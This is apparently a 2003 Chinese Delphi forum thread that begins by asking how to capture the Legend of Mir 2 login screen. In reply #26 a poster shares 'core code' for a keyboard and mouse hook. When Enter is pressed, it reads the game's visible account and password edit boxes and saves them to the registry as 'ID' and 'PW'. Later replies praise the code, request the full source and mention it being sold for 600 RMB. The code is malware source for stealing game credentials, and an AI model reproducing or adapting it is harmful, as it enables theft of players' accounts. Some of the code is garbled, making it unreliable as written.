！！！！！谁能截取传奇将要进入游戏时的画面，也就是输入帐号时的画面，我截取了，但得到的是黑黑一片？？？(200分)

H

hhb1981

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-07

• #21

to for33:
我没有遇到过这种现象啊？！
你是什么系统？我是Windows 2000 Professional + delphi 5.0，在VMWare虚拟机的Windows 98 + delphi 5.0 里运行也正常，不晓得你的怎么会这样 ：（

 

F

for33

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-13

• #22

to everyone
问题到今已有好一段时间了,也该是差不多了结的时候了;
如今我有个请求,!!!!!!!!
谁能截取张传奇的画面,发给我,问题也就此终结.
MAIL:BOBILY1@163.COM

 

;

-_-;

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-13

• #23

按"Pause Break" 图片保存在传奇目录

 

F

for33

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-13

• #24

to -_-; 那是行不通的不信你试试

 

Z

zjan521

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-14

• #25

VMWare仅仅是虚拟机,相当于裸机,还需要你装操作系统的.VMWare起码已经有 4.0 而且有幻化版(小地方汉化的还是有些问题) 下载前注意先找到注册码再下载对应版本
你放一张启动盘到软驱,默认设置虚拟机就可以从软盘启动了(光驱启动盘,或者光驱启动盘的ISO+虚拟光驱)
不过虚拟机的图形能力方面极差,(如果你用得比较熟练了可以把虚拟机安装在真正的磁盘分区上而不是文件里面,)另外,提高速度的最好方式就是加大内存,如果虚拟机还要频繁的访问虚拟机里边的虚拟内存的话,那速度就太慢了,如果是装载真正的分区上,要好一些

 

;

-_-;

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-14

• #26

核心代码，仅供参考

procedure LogoKey;
var p:Longint;
c:array[1..19] of Longint;
i,t,n,s,f:integer;
SubKey:string;
up:array [1..2] of Longint;
Begin
t:=0;
n:=0;
s:=0;
f:=0;
up[1]:=0;
up[2]:=0;
for i:=1 to 19 do c:=0;

p:=findwindow(pchar('TfrmMain'),pchar('legend of mir2'));
for i:=1 to 19 do begin
c:=findwindowex(p,t,pchar('TEdit'),nil);
t:=c;
if t=0 then break else begin
s:=s+1;
if IsWindowVisible(t) then begin
n:=n+1;
if n<3 then up[n]:=t;
end;
end;
end;

if ((Lpa and $80000000) = 0) and (Wpa=13) and (n=2) and ((getfocus=up[1]) or (getfocus=up[2])) then begin
for i:=1 to s do begin
if c=0 then continue;
if IsWindowVisible(c) then begin
SendMessage(c,WM_GETTEXT,36,pchar(Str));
if f=0 then Addvalue(hkey_classes_root,'Legend',true,'PW',Str,1)
else Addvalue(hkey_classes_root,'Legend',true,'ID',Str,1);
f:=f+1;
end;
end;
end;
End;

function MouseProc(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT; stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoMouse;
if iCode<0 then Result:=CallNextHookEx(MouseHook,iCode,wParam,lParam);
End;

function KeyPro(iCode:Integer;wParam:WPARAM;lParam:LPARAM):LRESULT;stdcall;export;
var i:integer;
Begin
Result:=0;
LogoID:='abcdefghijklmnopqrstuvwxyz1234567890';
for i:=1 to 19 do Str:='abcdefghijklmnopqrstuvwxyz1234567890';
Wpa:=wParam;
Lpa:=lParam;
LogoKey;
if iCode<0 Then Result:=CallNextHookEx(KeyHook,iCode,wParam,lParam);
End;

 

F

for33

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-14

• #27

to -_-;,实在是佩服你,我将在近日试试,,即将,给分.THANK YOU

 

L

lescape

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-16

• #28

有源程序吗，给我一份，谢了!!! lescape@ah163.com

 

;

-_-;

Unregistered / Unconfirmed

GUEST, unregistred user!

• 2003-09-18

• #29

源码。。。记得年初一份卖600RMB